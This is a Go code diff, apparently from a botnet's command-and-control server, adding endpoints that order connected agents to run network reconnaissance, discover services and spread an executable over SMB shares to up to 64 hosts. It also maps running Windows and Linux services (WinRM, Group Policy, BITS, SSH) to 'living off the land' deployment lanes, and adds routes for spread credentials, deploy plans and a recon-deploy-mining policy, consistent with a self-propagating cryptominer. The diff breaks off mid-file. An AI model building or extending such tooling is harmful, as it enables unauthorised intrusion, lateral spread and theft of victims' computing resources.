`json:"discover_in_progress,omitempty"` + DiscoverError string `json:"discover_error,omitempty"` + DiscoveredAt *time.Time `json:"discovered_at,omitempty"` + // Passive recon from egress hop (network_recon command). + NetworkHints json.RawMessage `json:"network_hints,omitempty"` // Client WireGuard keypair — used to build the QR config. clientPrivKey string clientPubKey string @@ -178,6 +202,7 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) { // Orchestrate asynchronously so the HTTP response returns quickly. go h.orchestrate(sess) + go h.collectEgressNetworkHints(sess) writeJSON(w, map[string]interface{}{ "session_id": sess.ID, @@ -194,12 +219,24 @@ func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) { } h.mu.Lock() defer h.mu.Unlock() - writeJSON(w, map[string]interface{}{ - "session_id": sess.ID, - "ready": sess.Ready, - "error": sess.Error, - "hops": sess.Hops, - }) + resp := map[string]interface{}{ + "session_id": sess.ID, + "ready": sess.Ready, + "error": sess.Error, + "hops": sess.Hops, + "discover_in_progress": sess.DiscoverInProgress, + "discover_error": sess.DiscoverError, + } + if len(sess.ServiceGraph) > 0 { + resp["service_graph"] = serviceGraphList(sess.ServiceGraph) + } + if sess.DiscoveredAt != nil { + resp["discovered_at"] = sess.DiscoveredAt.UTC().Format(time.RFC3339) + } + if hints := jsonRawOrNil(sess.NetworkHints); hints != nil { + resp["network_hints"] = hints + } + writeJSON(w, resp) } // GET /api/v1/pathtrace/{id}/qr @@ -263,8 +300,186 @@ func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) { writeJSON(w, map[string]interface{}{"ok": true}) } +// POST /api/v1/pathtrace/discover +// Body: {"session_id":"…","max_hosts":32} +// Dispatches service_discover on every hop and merges LAN/local findings into service_graph. +func (h *PathTracerHandler) Discover(w http.ResponseWriter, r *http.Request) { + var req struct { + SessionID string `json:"session_id"` + MaxHosts int `json:"max_hosts"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + req.SessionID = strings.TrimSpace(req.SessionID) + if req.SessionID == "" { + http.Error(w, "session_id is required", http.StatusBadRequest) + return + } + maxHosts := req.MaxHosts + if maxHosts <= 0 { + maxHosts = 32 + } + + sess := h.getSession(req.SessionID) + if sess == nil { + http.Error(w, "session not found", http.StatusNotFound) + return + } + if len(sess.Hops) == 0 { + http.Error(w, "session has no hops", http.StatusBadRequest) + return + } + + for _, hop := range sess.Hops { + if !h.hub.isAgentConnected(hop.AgentID) { + http.Error(w, "hop agent "+hop.AgentID[:min(8, len(hop.AgentID))]+" not connected", http.StatusBadRequest) + return + } + } + + h.mu.Lock() + if sess.DiscoverInProgress { + h.mu.Unlock() + http.Error(w, "discover already in progress", http.StatusConflict) + return + } + sess.DiscoverInProgress = true + sess.DiscoverError = "" + h.mu.Unlock() + + graph, discoverErr := h.runServiceDiscover(sess.Hops, maxHosts) + + h.mu.Lock() + defer h.mu.Unlock() + sess.DiscoverInProgress = false + if discoverErr != "" { + sess.DiscoverError = discoverErr + } + if len(graph) > 0 { + sess.ServiceGraph = mergeServiceGraph(sess.ServiceGraph, graph) + now := time.Now() + sess.DiscoveredAt = &now + } + + writeJSON(w, map[string]interface{}{ + "ok": discoverErr == "", + "session_id": sess.ID, + "error": discoverErr, + "service_graph": serviceGraphList(sess.ServiceGraph), + "discovered_at": formatDiscoveredAt(sess.DiscoveredAt), + }) +} + +// POST /api/v1/pathtrace/spread +// Body: {"session_id":"…","unc_path":"\\\\forge\\pathforge$\\worker.exe","max_hosts":64} +// Dispatches spread_smb_unc on the egress Path Tracer hop (last agent in the chain). +func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) { + var req struct { + SessionID string `json:"session_id"` + UNCPath string `json:"unc_path"` + MaxHosts int `json:"max_hosts"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + req.SessionID = strings.TrimSpace(req.SessionID) + req.UNCPath = strings.TrimSpace(req.UNCPath) + if req.SessionID == "" || req.UNCPath == "" { + http.Error(w, "session_id and unc_path are required", http.StatusBadRequest) + return + } + if !strings.HasPrefix(strings.ToLower(req.UNCPath), `\\`) { + http.Error(w, "unc_path must be a UNC share (\\\\host\\share\\file.exe)", http.StatusBadRequest) + return + } + if strings.Contains(req.UNCPath, "..") { + http.Error(w, "unc_path must not contain ..", http.StatusBadRequest) + return + } + + sess := h.getSession(req.SessionID) + if sess == nil { + http.Error(w, "session not found", http.StatusNotFound) + return + } + if len(sess.Hops) == 0 { + http.Error(w, "session has no hops", http.StatusBadRequest) + return + } + egress := sess.Hops[len(sess.Hops)-1] + if !h.hub.isAgentConnected(egress.AgentID) { + http.Error(w, "egress hop agent not connected", http.StatusBadRequest) + return + } + maxHosts := req.MaxHosts + if maxHosts <= 0 { + maxHosts = 64 + } + args := map[string]interface{}{ + "path": req.UNCPath, + "command": fmt.Sprintf("%d", maxHosts), + } + if err := h.hub.SendAgentCommand(egress.AgentID, "spread_smb_unc", args); err != nil { + http.Error(w, err.Error(), http.StatusBadGateway) + return + } + writeJSON(w, map[string]interface{}{ + "ok": true, + "agent_id": egress.AgentID, + "agent_name": egress.AgentName, + "unc_path": req.UNCPath, + "max_hosts": maxHosts, + "message": "spread_smb_unc dispatched on Path Tracer egress hop", + }) +} + // ── orchestration ───────────────────────────────────────────────────────────── +// collectEgressNetworkHints dispatches network_recon on the egress hop for Path Tracer graph hints. +func (h *PathTracerHandler) collectEgressNetworkHints(sess *TraceSession) { + if len(sess.Hops) == 0 { + return + } + egress := sess.Hops[len(sess.Hops)-1] + if !h.hub.isAgentConnected(egress.AgentID) { + return + } + ch := h.hub.AwaitCommandResult(egress.AgentID, "network_recon") + if err := h.hub.SendAgentCommand(egress.AgentID, "network_recon", nil); err != nil { + h.hub.CancelAwait(egress.AgentID, "network_recon") + log.Printf("[pathtrace] session %s: network_recon dispatch failed: %v", sess.ID[:8], err) + return + } + select { + case payload := <-ch: + msgStr, _ := payload["message"].(string) + if strings.TrimSpace(msgStr) == "" { + return + } + h.mu.Lock() + sess.NetworkHints = json.RawMessage(msgStr) + h.mu.Unlock() + log.Printf("[pathtrace] session %s: network_hints collected from egress hop", sess.ID[:8]) + case <-time.After(45 * time.Second): + h.hub.CancelAwait(egress.AgentID, "network_recon") + log.Printf("[pathtrace] session %s: network_recon timed out", sess.ID[:8]) + } +} + +func jsonRawOrNil(raw json.RawMessage) interface{} { + if len(raw) == 0 || string(raw) == "null" { + return nil + } + var v interface{} + if err := json.Unmarshal(raw, &v); err != nil { + return nil + } + return v +} + func (h *PathTracerHandler) orchestrate(sess *TraceSession) { log.Printf("[pathtrace] session %s: orchestrating %d hop(s)", sess.ID[:8], len(sess.Hops)) @@ -529,6 +744,170 @@ func (h *PathTracerHandler) getSession(id string) *TraceSession { return h.sessions[id] } +type agentDiscoverPayload struct { + ProbedAt string `json:"probed_at"` + Local ServiceGraphHost `json:"local"` + LANHosts []ServiceGraphHost `json:"lan_hosts"` + PassiveHints []string `json:"passive_hints,omitempty"` +} + +func (h *PathTracerHandler) runServiceDiscover(hops []*HopInfo, maxHosts int) (map[string]ServiceGraphHost, string) { + type discoverResp struct { + hop *HopInfo + raw string + err string + } + results := make(chan discoverResp, len(hops)) + + for _, hop := range hops { + hop := hop + ch := h.hub.AwaitCommandResult(hop.AgentID, "service_discover") + args := map[string]interface{}{"command": fmt.Sprintf("%d", maxHosts)} + if err := h.hub.SendAgentCommand(hop.AgentID, "service_discover", args); err != nil { + h.hub.CancelAwait(hop.AgentID, "service_discover") + results <- discoverResp{hop: hop, err: err.Error()} + continue + } + go func() { + select { + case payload := <-ch: + success, _ := payload["success"].(bool) + msg, _ := payload["message"].(string) + if !success { + results <- discoverResp{hop: hop, err: strings.TrimSpace(msg)} + return + } + results <- discoverResp{hop: hop, raw: msg} + case <-time.After(90 * time.Second): + h.hub.CancelAwait(hop.AgentID, "service_discover") + results <- discoverResp{hop: hop, err: "timeout waiting for service_discover"} + } + }() + } + + merged := make(map[string]ServiceGraphHost) + var errs []string + for range hops { + r := <-results + if r.err != "" { + errs = append(errs, r.hop.AgentID[:min(8, len(r.hop.AgentID))]+": "+r.err) + continue + } + payload, err := parseAgentDiscoverJSON(r.raw) + if err != nil { + errs = append(errs, r.hop.AgentID[:min(8, len(r.hop.AgentID))]+": parse error") + continue + } + merged = mergeServiceGraph(merged, graphFromDiscoverPayload(r.hop.AgentID, payload)) + } + if len(merged) == 0 && len(errs) > 0 { + return nil, strings.Join(errs, "; ") + } + if len(errs) > 0 { + return merged, "partial: " + strings.Join(errs, "; ") + } + return merged, "" +} + +func parseAgentDiscoverJSON(raw string) (agentDiscoverPayload, error) { + var payload agentDiscoverPayload + raw = strings.TrimSpace(raw) + if idx := strings.Index(raw, "{"); idx > 0 { + raw = raw[idx:] + } + err := json.Unmarshal([]byte(raw), &payload) + return payload, err +} + +func graphFromDiscoverPayload(agentID string, payload agentDiscoverPayload) map[string]ServiceGraphHost { + out := make(map[string]ServiceGraphHost) + addHost := func(host ServiceGraphHost) { + hostKey := strings.TrimSpace(host.Host) + if hostKey == "" { + return + } + host.AgentID = agentID + existing, ok := out[hostKey] + if !ok { + host.Services = dedupeServiceEntries(host.Services) + out[hostKey] = host + return + } + if existing.Subnet == "" && host.Subnet != "" { + existing.Subnet = host.Subnet + } + if existing.AgentID == "" { + existing.AgentID = agentID + } + existing.Services = dedupeServiceEntries(append(existing.Services, host.Services...)) + out[hostKey] = existing + } + + local := payload.Local + local.AgentID = agentID + addHost(local) + for _, lan := range payload.LANHosts { + addHost(lan) + } + return out +} + +func mergeServiceGraph(base, delta map[string]ServiceGraphHost) map[string]ServiceGraphHost { + if base == nil { + base = make(map[string]ServiceGraphHost) + } + for hostKey, host := range delta { + existing, ok := base[hostKey] + if !ok { + dup := host + dup.Services = dedupeServiceEntries(dup.Services) + base[hostKey] = dup + continue + } + if existing.Subnet == "" && host.Subnet != "" { + existing.Subnet = host.Subnet + } + if existing.AgentID == "" && host.AgentID != "" { + existing.AgentID = host.AgentID + } + existing.Services = dedupeServiceEntries(append(existing.Services, host.Services...)) + base[hostKey] = existing + } + return base +} + +func dedupeServiceEntries(in []ServiceGraphEntry) []ServiceGraphEntry { + seen := make(map[string]bool, len(in)) + out := make([]ServiceGraphEntry, 0, len(in)) + for _, e := range in { + key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port) + "|" + e.Source + if seen[key] { + continue + } + seen[key] = true + out = append(out, e) + } + return out +} + +func serviceGraphList(m map[string]ServiceGraphHost) []ServiceGraphHost { + if len(m) == 0 { + return nil + } + out := make([]ServiceGraphHost, 0, len(m)) + for _, host := range m { + out = append(out, host) + } + return out +} + +func formatDiscoveredAt(t *time.Time) string { + if t == nil { + return "" + } + return t.UTC().Format(time.RFC3339) +} + // getAgentConnByID returns the AgentConnection for the given ID (nil if offline). func (h *WSHub) getAgentConnByID(id string) *AgentConnection { h.mu.RLock() diff --git a/server/internal/api/pathtracer_handler_test.go b/server/internal/api/pathtracer_handler_test.go index 70cd2f0..21caba3 100644 --- a/server/internal/api/pathtracer_handler_test.go +++ b/server/internal/api/pathtracer_handler_test.go @@ -157,6 +157,16 @@ func startPathTracerAgentResponder(t *testing.T, hub *WSHub, agentID, pubKey str _ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{ "action": "wg_configure", "success": true, })}) + case "network_recon": + hints, _ := json.Marshal(map[string]interface{}{ + "spread_targets": []string{"192.168.1.50"}, + "spread_target_count": 1, + "domain_joined": true, + "prefer_join_lane": "gpo", + }) + _ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{ + "action": "network_recon", "success": true, "message": string(hints), + })}) case "wg_teardown": return } @@ -439,3 +449,147 @@ func TestPathTracerStartValidation(t *testing.T) { t.Fatalf("offline agent: expected 400, got %d body=%s", rec.Code, rec.Body.String()) } } + +func TestPathTracerSpreadValidation(t *testing.T) { + h := NewPathTracerHandler(NewWSHub(nil)) + + req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread", bytes.NewReader([]byte(`{}`))) + rec := httptest.NewRecorder() + h.Spread(rec, req) + if rec.Code != http.StatusBadRequest { + t.Fatalf("empty body: expected 400, got %d", rec.Code) + } + + badUNC := `{"session_id":"sess-1","unc_path":"C:\\local\\worker.exe"}` + req = httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(badUNC)) + rec = httptest.NewRecorder() + h.Spread(rec, req) + if rec.Code != http.StatusBadRequest { + t.Fatalf("non-UNC path: expected 400, got %d", rec.Code) + } + + h.mu.Lock() + h.sessions["sess-missing"] = testTraceSession(1) + h.mu.Unlock() + body := `{"session_id":"sess-missing","unc_path":"\\\\forge\\pathforge$\\worker.exe"}` + req = httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(body)) + rec = httptest.NewRecorder() + h.Spread(rec, req) + if rec.Code != http.StatusBadGateway && rec.Code != http.StatusBadRequest { + t.Fatalf("offline egress: expected 400/502, got %d body=%s", rec.Code, rec.Body.String()) + } +} + +func TestPathTracerSpreadDispatches(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + agentID := "spread-egress-agent" + hub := NewWSHub(database) + handler := NewPathTracerHandler(hub) + conn := connectTestAgent(t, hub, agentID) + + sess := testTraceSession(1) + sess.Hops[0].AgentID = agentID + handler.mu.Lock() + handler.sessions[sess.ID] = sess + handler.mu.Unlock() + + cmdCh := make(chan map[string]interface{}, 1) + go func() { + for { + var msg Message + if err := conn.ReadJSON(&msg); err != nil { + return + } + if msg.Type != "command" { + continue + } + var payload map[string]interface{} + if err := json.Unmarshal(msg.Payload, &payload); err != nil { + continue + } + if payload["action"] == "spread_smb_unc" { + cmdCh <- payload + return + } + } + }() + + body := fmt.Sprintf(`{"session_id":%q,"unc_path":"\\\\forge\\pathforge$\\worker.exe","max_hosts":32}`, sess.ID) + req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(body)) + rec := httptest.NewRecorder() + handler.Spread(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("spread status=%d body=%s", rec.Code, rec.Body.String()) + } + + select { + case payload := <-cmdCh: + if payload["path"] != `\\forge\pathforge$\worker.exe` { + t.Fatalf("unexpected path: %v", payload["path"]) + } + if payload["command"] != "32" { + t.Fatalf("unexpected max_hosts command: %v", payload["command"]) + } + case <-time.After(3 * time.Second): + t.Fatal("timed out waiting for spread_smb_unc command") + } +} + +func TestPathTracerNetworkHintsFromEgress(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + handler := NewPathTracerHandler(hub) + agentID := "trace-network-hints" + startPathTracerAgentResponder(t, hub, agentID, "NET_HINTS_PUB") + + body := `{"agent_ids":["` + agentID + `"]}` + req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body)) + rec := httptest.NewRecorder() + handler.Start(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String()) + } + var startResp struct { + SessionID string `json:"session_id"` + } + if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil { + t.Fatal(err) + } + + deadline := time.Now().Add(5 * time.Second) + for time.Now().Before(deadline) { + req2 := httptest.NewRequest(http.MethodGet, "/pathtrace/"+startResp.SessionID+"/status", nil) + rctx := chi.NewRouteContext() + rctx.URLParams.Add("id", startResp.SessionID) + req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rctx)) + rec2 := httptest.NewRecorder() + handler.Status(rec2, req2) + if rec2.Code != http.StatusOK { + t.Fatalf("status=%d body=%s", rec2.Code, rec2.Body.String()) + } + var status struct { + NetworkHints map[string]interface{} `json:"network_hints"` + } + if err := json.Unmarshal(rec2.Body.Bytes(), &status); err != nil { + t.Fatal(err) + } + if status.NetworkHints != nil { + if status.NetworkHints["prefer_join_lane"] != "gpo" { + t.Fatalf("unexpected hints: %+v", status.NetworkHints) + } + return + } + time.Sleep(100 * time.Millisecond) + } + t.Fatal("timed out waiting for network_hints on pathtrace session") +} diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 1ca3124..c3ab828 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { }) } -func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler { +func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler { ensureUsersLoaded(dataDir) version := "AetherForge" @@ -548,6 +548,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler // Dashboard r.Get("/dashboard/stats", h.GetDashboardStats) + vulnHandler := NewVulnHandler() + r.Get("/vuln/catalog", vulnHandler.Catalog) + // Agents r.Get("/agents", h.ListAgents) r.Get("/agents/{id}", h.GetAgent) @@ -614,10 +617,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit) r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin) r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper) + r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate) r.Get("/emberwake/notes", spreadHandler.GetNotes) r.Put("/emberwake/notes", spreadHandler.PutNotes) r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns) r.Get("/emberwake/war-room", spreadHandler.GetWarRoom) + r.Get("/spread/credential-graph", spreadHandler.GetCredGraph) + r.Get("/spread/service-graph", spreadHandler.GetServiceGraph) + r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias } // Path Forge: walk a local server path, place launchers next to every file if pathForgeHandler != nil { @@ -700,6 +707,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler // Path Tracer — on-demand WireGuard chain sessions if pathTracerHandler != nil { r.Post("/pathtrace/start", pathTracerHandler.Start) + r.Post("/pathtrace/discover", pathTracerHandler.Discover) + r.Post("/pathtrace/spread", pathTracerHandler.Spread) r.Get("/pathtrace/{id}/status", pathTracerHandler.Status) r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR) r.Delete("/pathtrace/{id}", pathTracerHandler.Delete) @@ -712,6 +721,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat) r.Post("/agent/beacon", wsHub.HandleAgentBeacon) r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult) + if spreadCredHandler != nil { + r.Post("/agent/spread-cred/issue", spreadCredHandler.IssueToken) + r.Post("/agent/spread-cred/redeem", spreadCredHandler.RedeemToken) + r.Post("/agent/spread-cred/report", spreadCredHandler.ReportEdge) + } + if deployPlanHandler != nil { + r.Post("/agent/deploy-plan", deployPlanHandler.PostDeployPlan) + } r.Get("/agent/module/{name}", moduleHandler.GetAgentModule) // Public builds (also bypass auth in middleware — listed here for chi routing) diff --git a/server/internal/api/router_test.go b/server/internal/api/router_test.go index a08e1f8..f645207 100644 --- a/server/internal/api/router_test.go +++ b/server/internal/api/router_test.go @@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) { fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) - router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989, nil) + router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) dlURL := "/api/v1/builds/" + buildID + "/download" @@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) { builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) - router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) + router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) req := httptest.NewRequest(http.MethodGet, "/", nil) rec := httptest.NewRecorder() diff --git a/server/internal/api/server_policy.go b/server/internal/api/server_policy.go index 3642701..3cc0cfa 100644 --- a/server/internal/api/server_policy.go +++ b/server/internal/api/server_policy.go @@ -9,4 +9,25 @@ type ServerPolicy struct { StrictWalletValidation bool MaxBuildSizeMB int PoolReconnectSeconds int + LotlOnionTiers []string + ServiceDeployAllowlist map[string]ServiceDeployLane + MiningTierPolicy MiningTierPolicy + TripleOnionPolicy TripleOnionPolicy +} + +// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth. +type TripleOnionPolicy struct { + PatchFirst bool `json:"patch_first,omitempty"` + MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"` + SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"` + HighRiskThreshold int `json:"high_risk_threshold,omitempty"` + ReconTiers []string `json:"recon_tiers,omitempty"` + DeployLanes []string `json:"deploy_lanes,omitempty"` +} + +// MiningTierPolicy is server-pulled LOTL mining onion ordering sent to agents at auth. +type MiningTierPolicy struct { + TierOrder []string `json:"tier_order,omitempty"` + SkipTiers []string `json:"skip_tiers,omitempty"` + ForceTier string `json:"force_tier,omitempty"` } diff --git a/server/internal/api/server_policy_test.go b/server/internal/api/server_policy_test.go index 2ef1307..26745b8 100644 --- a/server/internal/api/server_policy_test.go +++ b/server/internal/api/server_policy_test.go @@ -14,6 +14,11 @@ func TestServerPolicyJSONRoundTrip(t *testing.T) { StrictWalletValidation: true, MaxBuildSizeMB: 64, PoolReconnectSeconds: 30, + TripleOnionPolicy: TripleOnionPolicy{ + PatchFirst: true, + SkipMiningOnHighRisk: true, + HighRiskThreshold: 50, + }, } data, err := json.Marshal(in) @@ -25,7 +30,18 @@ func TestServerPolicyJSONRoundTrip(t *testing.T) { if err := json.Unmarshal(data, &out); err != nil { t.Fatal(err) } - if out != in { + if out.MaxAgents != in.MaxAgents || + out.LogAgentConnections != in.LogAgentConnections || + out.LogShareSubmissions != in.LogShareSubmissions || + out.LogPoolTraffic != in.LogPoolTraffic || + out.StrictWalletValidation != in.StrictWalletValidation || + out.MaxBuildSizeMB != in.MaxBuildSizeMB || + out.PoolReconnectSeconds != in.PoolReconnectSeconds { t.Fatalf("round-trip mismatch:\n got %+v\n want %+v", out, in) } + if !out.TripleOnionPolicy.PatchFirst || + !out.TripleOnionPolicy.SkipMiningOnHighRisk || + out.TripleOnionPolicy.HighRiskThreshold != 50 { + t.Fatalf("triple onion policy round-trip mismatch: %+v", out.TripleOnionPolicy) + } } diff --git a/server/internal/api/service_deploy.go b/server/internal/api/service_deploy.go new file mode 100644 index 0000000..02376d4 --- /dev/null +++ b/server/internal/api/service_deploy.go @@ -0,0 +1,129 @@ +package api + +import ( + "strings" +) + +// ServiceDeployLane maps a discovered Windows/Linux service to a LOTL join lane. +type ServiceDeployLane struct { + Lane string `json:"lane"` // bits_curl | docker_load | winrm | gpo | spread_smb_unc | linux_lotl + Priority int `json:"priority,omitempty"` // higher wins when multiple services match + Template string `json:"template,omitempty"` // spread template id (gpo | winrm | linux-lotl) +} + +// DefaultServiceDeployAllowlist maps allowlisted services to deploy lanes. +// CCMEXEC → BITS staging; Docker → docker_load; WinRM → bootstrap; gpsvc → GPO; LanmanServer → SMB UNC. +var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{ + "CCMEXEC": {Lane: "bits_curl", Priority: 10}, + "CcmExec": {Lane: "bits_curl", Priority: 10}, + "BITS": {Lane: "bits_curl", Priority: 8}, + "com.docker.service": {Lane: "docker_load", Priority: 20}, + "Docker Desktop Service": {Lane: "docker_load", Priority: 20}, + "WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"}, + "Winmgmt": {Lane: "winrm", Priority: 25, Template: "winrm"}, + "gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"}, + "Group Policy Client": {Lane: "gpo", Priority: 40, Template: "gpo"}, + "LanmanServer": {Lane: "spread_smb_unc", Priority: 50}, + "Server": {Lane: "spread_smb_unc", Priority: 45}, + "sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"}, + "ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"}, +} + +// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids. +func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[string]ServiceDeployLane { + if len(raw) == 0 { + dup := make(map[string]ServiceDeployLane, len(DefaultServiceDeployAllowlist)) + for k, v := range DefaultServiceDeployAllowlist { + dup[k] = v + } + return dup + } + out := make(map[string]ServiceDeployLane, len(raw)) + for name, lane := range raw { + name = strings.TrimSpace(name) + if name == "" { + continue + } + lane.Lane = normalizeJoinLane(lane.Lane) + if lane.Template == "" { + switch lane.Lane { + case "winrm": + lane.Template = "winrm" + case "gpo": + lane.Template = "gpo" + case "linux_lotl": + lane.Template = "linux-lotl" + } + } + out[name] = lane + } + return out +} + +func normalizeJoinLane(lane string) string { + lane = strings.ToLower(strings.TrimSpace(lane)) + switch lane { + case "bits", "bits/curl", "bits_curl", "bits-curl": + return "bits_curl" + case "docker", "docker_load", "docker-load": + return "docker_load" + case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc": + return "spread_smb_unc" + case "linux", "linux_lotl", "linux-lotl": + return "linux_lotl" + default: + return lane + } +} + +// PickDeployLane chooses the highest-priority allowlisted running service. +func PickDeployLane(services []DeployServiceFinding, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) { + allowlist = NormalizeServiceDeployAllowlist(allowlist) + var bestPriority int + for _, svc := range services { + if !serviceRunningForJoin(svc.Status) { + continue + } + entry, found := allowlist[svc.Name] + if !found { + // Case-insensitive fallback + for k, v := range allowlist { + if strings.EqualFold(k, svc.Name) { + entry, found = v, true + break + } + } + } + if !found { + continue + } + pri := entry.Priority + if pri == 0 { + pri = 1 + } + if !ok || pri > bestPriority { + ok = true + bestPriority = pri + matched = svc.Name + lane = entry + } + } + return matched, lane, ok +} + +func serviceRunningForJoin(status string) bool { + switch strings.ToLower(strings.TrimSpace(status)) { + case "running", "started", "active": + return true + default: + return false + } +} + +// DeployServiceFinding is one service reported by the agent during discover_and_join. +type DeployServiceFinding struct { + Name string `json:"name"` + DisplayName string `json:"display_name,omitempty"` + Status string `json:"status"` + StartType string `json:"start_type,omitempty"` +} diff --git a/server/internal/api/service_deploy_test.go b/server/internal/api/service_deploy_test.go new file mode 100644 index 0000000..605ae40 --- /dev/null +++ b/server/internal/api/service_deploy_test.go @@ -0,0 +1,58 @@ +package api + +import "testing" + +func TestPickDeployLanePriority(t *testing.T) { + allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{ + "CCMEXEC": {Lane: "bits_curl", Priority: 10}, + "WinRM": {Lane: "winrm", Priority: 30}, + "LanmanServer": {Lane: "spread_smb_unc", Priority: 50}, + }) + services := []DeployServiceFinding{ + {Name: "CCMEXEC", Status: "running"}, + {Name: "WinRM", Status: "running"}, + } + matched, lane, ok := PickDeployLane(services, allowlist) + if !ok { + t.Fatal("expected match") + } + if matched != "WinRM" || lane.Lane != "winrm" { + t.Fatalf("matched=%q lane=%q", matched, lane.Lane) + } +} + +func TestPickDeployLaneIgnoresStopped(t *testing.T) { + allowlist := NormalizeServiceDeployAllowlist(nil) + services := []DeployServiceFinding{{Name: "CCMEXEC", Status: "stopped"}} + _, _, ok := PickDeployLane(services, allowlist) + if ok { + t.Fatal("stopped service should not match") + } +} + +func TestNormalizeJoinLaneAliases(t *testing.T) { + cases := map[string]string{ + "bits/curl": "bits_curl", + "spread_smb_unc": "spread_smb_unc", + "linux-lotl": "linux_lotl", + } + for in, want := range cases { + if got := normalizeJoinLane(in); got != want { + t.Fatalf("%q => %q want %q", in, got, want) + } + } +} + +func TestVerifyDeployPlanSignature(t *testing.T) { + plan := DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"} + sig, err := signDeployPlan(plan, "test-secret") + if err != nil { + t.Fatal(err) + } + if !VerifyDeployPlanSignature(plan, sig, "test-secret") { + t.Fatal("signature should verify") + } + if VerifyDeployPlanSignature(plan, sig, "wrong") { + t.Fatal("wrong secret should fail") + } +} diff --git a/server/internal/api/spread_cred.go 